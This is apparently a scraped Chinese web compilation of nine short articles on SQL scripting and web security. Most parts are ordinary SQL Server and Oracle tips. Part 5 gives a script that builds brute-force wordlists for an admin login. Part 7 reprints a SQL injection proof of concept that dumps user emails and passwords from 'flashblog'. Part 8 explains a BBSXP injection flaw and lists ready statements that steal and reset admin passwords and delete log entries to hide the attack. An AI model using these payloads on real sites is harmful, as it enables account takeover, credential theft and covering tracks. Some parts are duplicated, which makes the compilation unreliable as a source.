以下是小编为大家准备的怎样用SQL生成XML脚本安全,本文共9篇,仅供参考,欢迎大家阅读。本文原稿由网友“afuli”提供。
篇1:怎样用SQL生成XML脚本安全
以前在介绍SQL2k的时候已经提到了SQL2k对XML的支持,使用for XML语句就可以很容易的把执行的结果转化为一个XML,这样可以在很大程度上提高系统运行效率和开发速度,详细的内容请参见Books Online,
但是在使用ADO(Required ADO 2.6)访问返回的XML的方式和原来的Recordset是有所不同的。如果你还是使用Recordset访问的话,只能得到一个Unicode格式的XML Schema,而无法得到XML的内容,
其实这个问题也是很容易就能解决的,只是我自以为很熟悉ADO,没有仔细看Help,所以没有发现ADO是采用Stream的方式来得到和返回XML的。
Command 对象有两个属性,叫Input Stream和Output Stream,属性的值是一个IUnknown接口。可以把一个XML Parser的接口赋给它,或者是直接用Request、Response等。这样的好处是不需要再去生成一个Recordset,不需要去保存这些数据,从而节省了系统开销。
篇2:怎样用SQL 生成XML数据库教程
xml|生成xml
以前在介绍SQL2k的时候已经提到了SQL2k对XML的支持,使用for XML语句就可以很容易的把执行的结果转化为一个XML,这样可以在很大程度上提高系统运行效率和开发速度,详细的内容请参见Books Online,怎样用SQL 2000 生成XML数据库教程
。但是在使用ADO(Required ADO 2.6)访问返回的XML的方式和原来的Recordset是有所不同的。如果你还是使用Recordset访问的话,只能得到一个Unicode格式的XML Schema,而无法得到XML的内容,
其实这个问题也是很容易就能解决的,只是我自以为很熟悉ADO,没有仔细看Help,所以没有发现ADO是采用Stream的方式来得到和返回XML的。
Command 对象有两个属性,叫Input Stream和Output Stream,属性的值是一个IUnknown接口。可以把一个XML Parser的接口赋给它,或者是直接用Request、Response等。这样的好处是不需要再去生成一个Recordset,不需要去保存这些数据,从而节省了系统开销。
篇3:批量生成大数据量的SQL脚本
业务逻辑:利用游标从数据库中现有的表数据,查询出部分属性,来插入到目标表中,来在目标表中生成大批量的数据,SQL实现如下:
create or replace procedure add_subscription_c(i_count in number,-- i_count输入值为循环插入记录的次数
i_usersegment in varchar2,
i_startaccount in number,
o_resultcode out number,
o_resulstring out varchar2) as
v_count number;
v_startcount number;
v_sql varchar2(1024);
v_subscriber zxdbm_ismp.ssrv_subscription.subscriber%type; --订购方号码
v_usercode zxdbm_ismp.ssrv_subscription.usercode%type; --使用号码
v_payuser zxdbm_ismp.ssrv_subscription.payuser%type; --付费号码
v_servicekeyidzxdbm_ismp.ssys_service_type.servicekeyid%type; --内部业务键id
v_statuszxdbm_ismp.ssrv_subscription.status%type; --状态0-待生效;1-正常;2:暂停+待生效;3:暂停;4:待失效;5:暂停+待失效;6:注销,
v_subscriptionindex zxdbm_ismp.ssrv_subscription.subscriptionindex%type; --定购关系顺序号
v_serviceindexzxdbm_ismp.ssrv_subscription.serviceindex%type; --业务序号
v_serviceid zxdbm_ismp.ssrv_subscription.serviceid%type; --新业务ID
v_productid zxdbm_ismp.ssrv_subscription.productid%type; --产品ID
v_productindexzxdbm_ismp.ssrv_subscription.productindex%type; --产品序号
v_cpid zxdbm_ismp.ssrv_subscription.cpid%type; --CPID
v_cpindex zxdbm_ismp.ssrv_subscription.cpindex%type; --CP序号
v_corpindex zxdbm_ismp.ssrv_subscription.corpindex%type; --集团序号
v_corpidzxdbm_ismp.ssrv_subscription.corpid%type; --集团ID
v_msisdntype zxdbm_ismp.ssrv_subscription.msisdntype%type; --用户号码类型,1-msisdn,2-phs,3-pstn,4-IPTV接入号, 5-宽带接入号,6-固定IP
v_servicetype zxdbm_ismp.ssrv_subscription.servicetype%type; --业务能力类型
v_newCode zxdbm_ismp.ssrv_subscription.usercode%type;
v_subnumber number(10);
type cur_t is ref cursor;
cur_product cur_t;
begin
--缺省为300 000000
v_startcount := 30000000;
if i_startaccount is not null then
v_startcount := i_startaccount;
end if;
--构造用户号码
v_usercode := '191';
if i_usersegment is not null then
v_usercode := i_usersegment;
end if;
v_msisdntype := 1;
v_corpindex := 0;
v_corpid := ' ';
-------------------------------------------------------------------------
-------------------------------------------------------------------------
v_subnumber := v_startcount;
v_count := v_startcount;
-- i_count输入值为循环的次数 v_count为缺省0
while v_count <= (v_startcount + i_count) loop
--组合生成号码
v_newCode := v_usercode || v_count;
--从产品表中找一条现成的数据来得到订购关系表中一些属性值来插入订购关系
open cur_product for 'select servicetype,serviceindex,serviceid,productindex,productid,status,cpid,cpindex from v_ssrv_product where productid =11110000900000030';
loop
fetch cur_product
into v_servicetype, v_serviceindex, v_serviceid, v_productindex, v_productid, v_status, v_cpid, v_cpindex;
sp_get_next_seq('slp_order_prdindex', v_subscriptionindex);
exit when cur_product%notfound;
insert into zxdbm_500.s500_user_subscription
(subscriptionindex,
subscriptionid,
servicetype,
serviceindex,
serviceid,
productindex,
productid,
corpindex,
corpid,
subscriber,
usercode,
payuser,
status,
msisdntype,
cpid,
cpindex)
values
(v_subscriptionindex,
v_newCode||v_subscriptionindex,
v_servicetype,
v_serviceindex,
v_serviceid,
v_productindex,
v_productid,
v_corpindex,
v_corpid,
v_newCode,
v_newCode,
v_newCode,
v_status,
v_msisdntype,
v_cpid,
v_cpindex);
v_subnumber := v_subnumber + 1;
end loop;
--每1000条commit一次 或 v_count=v_startcount+循环次数
if mod(v_subnumber, 1000) = 0 or v_count = (v_startcount + i_count) then
commit;
end if;
--在v_startcount的基础上+1
v_count := v_count + 1;
v_usercode := i_usersegment;
end loop;
o_resultcode := 0;
o_resulstring := v_count || 'Success';
commit;
exception
when others then
rollback;
o_resultcode := SQLCODE;
o_resulstring := v_newCode || ':' || SQLCODE || ':' || SQLERRM;
end ;
篇4:自动生成insert数据的SQL脚本
判断当表存在标识列的时候就要允许将显式值插入表的标识列中,设置:
Set Identity_insert TableName Off
判断数据类型:
如,varchar,char,datetime,nvarchar,nchar,uniqueidentifier时候,在insert字段中就要增加双引号,否则就不加,
Use Test
Go
Declare
@Table1 nvarchar(128),
@Table2 nvarchar(128),
@Sql1 nvarchar(4000),
@Sql2 nvarchar(4000),
@SqlIdentityInsert nvarchar(512)
Set @Table1='DutyHistory' --源表
Set @Table2='Duty'--目标表
IF Object_id(@Table1,'U') Is Null
Return
If Isnull(@Table2,'')=''
Set @Table2=@Table1
Set @SqlIdentityInsert=''
If Exists(Select 1 From sys.columns Where Object_id=Object_id(@Table1,'U'))
Set @SqlIdentityInsert='Select ''Set Identity_Insert '+@Table2+' On '''
Select
@Sql1=Isnull(@Sql1+',',' Insert Into '+@Table2+' (')+Quotename(name),
@Sql2=Isnull(@Sql2+'+'',''+','Select @Sql1+'' Select ''')+'+Case When '+Quotename(name)+' Is null Then ''null'' Else '+
Case When user_type_id In(175,61,239,231,58,98,36,167,241) Then '''''''''+Rtrim('+Quotename(name)+')+''''''''' Else 'Rtrim('+Quotename(name)+')' End +' End'
From sys.columns
Where Object_id=Object_id(@Table1,'U')
Set @Sql1=@Sql1+')'
Set @Sql2= 'Select Convert(nvarchar(max),''If Object_id('''''+@Table2+''''',''''U'''') Is Null Return;'') As SqlInsert Union All '+
@SqlIdentityInsert+' Union All '+
@Sql2+' From '+Quotename(@Table1)+Case @SqlIdentityInsert When '' Then '' Else ' Union All ' End+
Replace(@SqlIdentityInsert,' On ',' Off')
Exec sp_executesql @Sql2,N'@Sql1 nvarchar(4000)',@Sql1
Result:
SqlInsert
---------------------------------------------------------
If Object_id('Duty','U') Is Null Return;
Set Identity_Insert Duty On
Insert Into Duty ([id],[Name],[WorkDate],[WorkHours]) Select 1,'Robert','01 1 12:00AM',3.4
Insert Into Duty ([id],[Name],[WorkDate],[WorkHours]) Select 2,'Robert','01 2 2008 12:00AM',3.4
Insert Into Duty ([id],[Name],[WorkDate],[WorkHours]) Select 3,'Robert','01 3 2008 12:00AM',3.4
... ...
Insert Into Duty ([id],[Name],[WorkDate],[WorkHours]) Select 58,'Robert','02 27 2008 12:00AM',4.5
Insert Into Duty ([id],[Name],[WorkDate],[WorkHours]) Select 59,'Robert','02 28 2008 12:00AM',4.5
Insert Into Duty ([id],[Name],[WorkDate],[WorkHours]) Select 60,'Robert','02 29 2008 12:00AM',4.5
Set Identity_Insert Duty Off
篇5:爆破字典生成小脚本脚本安全
遇到一套系统,后台管理登录无验证码,准备爆破试试,burp抓到的包如下:
1
2
3
4
5
6
7
8
9
10
GET /admin/ HTTP/1.1
Host: www.myhack58.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/0101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
If-Modified-Since: Wed, 07 May 03:04:54 GMT
If-None-Match: W/“37424//”
Authorization: Basic MTExOjIyMg==
发现有一串base64编码处理的,解码之后正是提交的 帐号:密码的组合,只好写个小脚本将已有的字典文件进行处理了,贴上代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding:utf-8
importsys
importbase64
iflen(sys.argv)<3:
print“Usage:”+“ admincrack.py ”+“userlist ”+“passlist”
sys.exit
defadmincrack(userfile,passfile):
uf=open(userfile,'r')
pf=open(passfile,'r')
foruserinuf.readlines():
#指定指针的位置,不指定只会遍历userfile中的第一行
pf.seek(0)
forpasswdinpf.readlines():
user=user.strip(“\\r\\n”)
passwd=passwd.strip(“\\r\\n”)
hashvul=user+':'+passwd
base64hash=base64.b64encode(hashvul)
printuser,passwd,base64hash
if__name__==“__main__”:
admincrack(sys.argv[1],sys.argv[2])
生成之后先将base64hash打印出来,就会构成intruder用到的字典,再将user,passwd,base64hash一起打印出来,构成后期爆破成功需要查询对应帐号和密码明文的字典,
爆破字典生成小脚本脚本安全
,
篇6:教你如何清除SQL日志脚本安全
1.打开查询分析器,输入命令
DUMP TRANSACTION 数据库名 WITH NO_LOG
2.再打开企业管理器--右键你要压缩的数据库--所有任务--收缩数据库--收缩文件--选择日志文件--在收缩方式里选择收缩至XXM,这里会给出一个允许收缩到的最小M数,直接输入这个数,确定就可以了,
清除Log有两种方法:
1.自动清除法
开放数据库选项 Trunc Log on Chkpt,使数据库系统每隔一段时间自动清除Log。此方法的优点是无须人工干预,由SQL Server自动执行,并且一般不会出现Log溢满的情况;缺点是只清除Log而不做备份。
2.手动清除法
执行命令“dump transaction”来清除Log,
以下两条命令都可以清除日志:
dump transaction with truncate_only
dump transaction with no_log
通常删除事务日志中不活跃的部分可使用“dump transaction with trancate_only”命令,这条命令写进事务日志时,还要做必要的并发性检查。SYBASE提供“dump transaction with no_log”来处理某些非常紧迫的情况,使用这条命令有很大的危险性,SQL Server会弹出一条警告信息。为了尽量确保数据库的一致性,你应将它作为“最后一招”。
以上两种方法只??清除日志,而不做日志备份,若想备份日志,应执行“dump transaction database_name to dumpdevice”命令。
PS:附一个更好的方法
先分离数据库后,直接删除日志以后,再在查询分析器里用
exec sp_attach_single_file_db '数据库名', '.mdf文件路径'
命令附加数据库。 OVER.在别的地方看到的 不错。
篇7:闪存博客SQL注入脚本安全
来自 : < 16.her0_at_gmail.com >
日期 : 5月29日4时24分39秒-0000
('binary' encoding is not supported, stored as-is) ###############################################################################
#
# 姓名: flashblog SQL inyeccion
# 作者: her0
# Dork : “flashblog”, allinurl:flashblog.html
# Greetz : Komtec1,Freak,Knet,Boer,ka0x
#
###############################################################################
Proof of Concept :概念证明:
[host]/[path]//php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17/**/from/**/usuarios/*
该colums从主机到主机的不同:所有解决= D的
/PHP/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,nombreusuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/usuarios/*/php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/**/from/**/usuarios/*
/php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17,18,19/**/from/**/usuarios/*
############################################################################### ################################################## #############################
#
# 墨西哥到20,感谢所有我的朋友们,我爱威士忌XD法
# milw0rm.com/exploit...
############################################################################### ################################################## #############################
篇8:BBSXP Editpost.asp SQL Inject Hole脚本安全
把原隐藏文章公开出来
在这里顺便说说一下某联盟的牛人,抄袭某人作品,并在网站上写上原创,地址
www.77169.com/Article/HTML/61035.html
原文应为华仔原创。。
来源:cnbct.org
漏洞发现者:华仔
bbsxp上传注入漏洞
文章类型:脚本注入漏洞原理
适用范围:bbsxp 6.0 sp1
测试环境:bbsxp 6.0 sp1 SQL+IIS5.0+SqlServer
最近突然有兴趣来看一看bbsxp的代码,填充一下周末无聊的时间。整体上看来代码的安全性和可读性都非常好,但是程序员总是会有疏忽的时候,毕竟我也是一名程序员嘛。在这种情况下我荣幸的发现了这个漏洞,在测试成功之后再看代码的时候却发现这个漏洞却并不仅仅在一个地方出现,明显是代码复制造成的问题。还是先来说一说原理吧,再说废话可能就会有人扔鸡蛋了@^@
打开源文件找到EditPost.asp的第67-72行,NewTopic.asp的第129-134行,ReTopic.asp的第78-83行都会发现这样的几行代码:
if Request.Form(“UpFileID”)“” thenUpFileID=split(Request.form(“UpFileID”),“,”)for i = 0 to ubound(UpFileID)-1Conn.execute(“update [BBSXP_PostAttachments] set ThreadID=”&ThreadID&“,Description='”&Subject&“' where id=”&UpFileID(i)&“ and ThreadID=0”)nextend if
在这段代码中明显可以看出没有对UpFileID数组内的数据作任何过滤就直接用在查询语句中去了,对于这样的漏洞来说利用起来最简单不过了。
就以EditPost.asp这个页面为例来说吧。这个页面是用来编辑帖子的,随便找一个版面发表一个帖子之后编辑它,查看源代码能够找到与此类似的一段脚本
其中UpFileID是用来记录这个帖子中已经上传的文件路径消息,并且用逗号分隔。你可能已经知道了,这个功能只有管理员打开文件上传得功能之后才会出现。的确如此,但是你也不用担心,前两年的上传漏洞**现在已经过去了,大部分管理员已经不再为文件上传功能担忧。现在我在网上看到的使用bbsxp程序的都是打开了这个功能的。
现在再来说一说该怎么利用这个漏洞。在这里还有一个门槛要过去才可以,在asp代码中有这么一句
for i = 0 to ubound(UpFileID)-1
如果你直接在页面中把UpFileID的值修改成一个注入查询语句
还不会被执行,因为这样的话ubound(UpFileID)-1的值始终为0,而不会被循环。所以要使数组UpFileID的元素个数大于1才可以,因此要将这段脚本修改成类似于如下代码:
现在就可以成功执行查询语句
update BBSXP_Users set UserMail=UserPass where UserName='yuzi'
了,查看yuzi的个人资料之后发现Email已经变成了16位的md5密文。这样的话我们就可以完成任意SQL语句的执行了――只要有足够的权限。
我利用业余的时间写了一个针对EditPost.asp的Exploit。界面图1所示
图1
用登录之后的浏览器页面打开EditPost.htm并填好相关的参数之后,就可以注入任意的查询语句了,如图2所示
图2
提交之后成功的页面如图3所示
这里是我测试bbsxp 时使用几个查询语句,供大家参考使用:
--备份yuzi的密码到电子邮件中update BBSXP_Users set UserMail=UserPass where UserName='yuzi'--备份后台管理密码到yuzi的个人主页中update BBSXP_Users set UserHome=(select top 1 AdminPassword from BBSXP_SiteSettings) where UserName='yuzi'--修改yuzi的密码为xxxxxxxxxxxxxxxxxupdate BBSXP_Users set UserPass='xxxxxxxxxxxxxxxxx' where UserName='yuzi'--修改后台管理密码为xxxxxxxxxxxxxxxxxupdate BBSXP_SiteSettings set AdminPassword=' xxxxxxxxxxxxxxxxx '--删除管理员今天登录时所有的操作日志delete from BBSXP_Log where UserName='yuzi' and cast(DateCreated as nvarchar(10))=cast(getdate as nvarchar(10))--恢复后台管理密码update BBSXP_SiteSettings set AdminPassword=(select UserHome from BBSXP_Users where UserName='yuzi')--恢复yuzi的密码update BBSXP_Users set UserPass=UserMail where UserName='yuzi'--清除作为密码备份的yuzi的电子邮件和个人主页数据update BBSXP_Users set UserMail='' where UserName='yuzi'update BBSXP_Users set UserHome='' where UserName='yuzi'
在这篇文章中虽然我只是给出了针对SqlServer数据库的注入方法,如果在Exploit中使用针对Access的注入语句的话也是可以的,
由于时间关系我也就没有详细的写相关的注入语句,有兴趣的读者可以试一试自己来完成对Access数据库的注入。还有针对NewTopic.asp和ReTopic.asp两个文件注入的Exploit我也就不再写了,基本上大同小异。如果你有兴趣的话也可以自己写一下给大家分享。
ps:在后台加个asp (有空格)这样也就可以上传asp文件了。
攻击语句:
--------------------------------------------
在EditPost.asp和NewTopic.asp, ReTopic.asp中都存在这个漏洞
--备份admin的密码到电子邮件中
update BBSXP_Users set UserMail=UserPass where UserName='admin'
--备份后台管理密码到admin的个人主页中
update BBSXP_Users set UserHome=(select top 1 AdminPassword from BBSXP_SiteSettings) where UserName='admin'
--修改admin的前台密码为771692
update BBSXP_Users set UserPass='59A9B22627515262CF6D95E8F968A608' where UserName='771691'
--修改后台管理密码为771692
update BBSXP_SiteSettings set AdminPassword='59A9B22627515262CF6D95E8F968A608'
delete from BBSXP_Log where UserName='771692' and cast(DateCreated as nvarchar(10))=cast(getdate() as nvarchar(10))
--恢复后台管理密码
update BBSXP_SiteSettings set AdminPassword=(select UserHome from BBSXP_Users where UserName='771692')
--恢复admin的密码
update BBSXP_Users set UserPass=UserMail where UserName='admin'
--清除admin的电子邮件和个人主页数据
update BBSXP_Users set UserMail='' where UserName='admin'
update BBSXP_Users set UserHome='' where UserName='admin'
篇9:远程管理SQL数据的方法脚本安全
1、在的你计算机上安装sql server2000数据库的软件(注意:相同版本的数据库系统)
2、点击开始 -- 程序 -- Microsoft SQL Server -- 客户端网络实用工具 -- 另名 -- 点击添加 --- 网络库选取TCP/IP;服务器别名:数据库服务器的IP;服务器名称:数据库服务器的IP;端口默认1433 -- 确定
3、点击开始 -- 程序 -- Microsoft SQL Server -- 企业管理器 -- Mouse点 Microsoft SQL Servers -- mouse右键点 Sql Server 组;点新的sql server 注册.... -- 下一步 -- 增加主机IP,下一步---选“系统管理员给我分配的SQL Server登录信息....”.
下一步 -- 登录名:用户名、密码:密码、下一步 -- ……
4、联接成功后;请您找到您的数据库;你就可管理你的数据库,
远程管理SQL数据的方法脚本安全
,
注:不要越权。一般情况下你是只能看到别的数据库的名称而没有管理权限!!!
HOW TO GET PHPCMS WEBSHELL脚本安全
- thinkphp框架下mysql注入脚本安全2023-07-19
- python字符串处理常用技巧脚本安全2022-12-14
- XSS(跨站脚本攻击) 逃避过滤脚本安全2025-03-16
- 某网站安全检测之数据库手工注入脚本安全2023-05-31
- 关于如何保障Winnt +asp +sql web站点的安全经验WEB安全2023-03-12
- PHP代码网站防范SQL注入漏洞攻击的建议WEB安全2023-06-19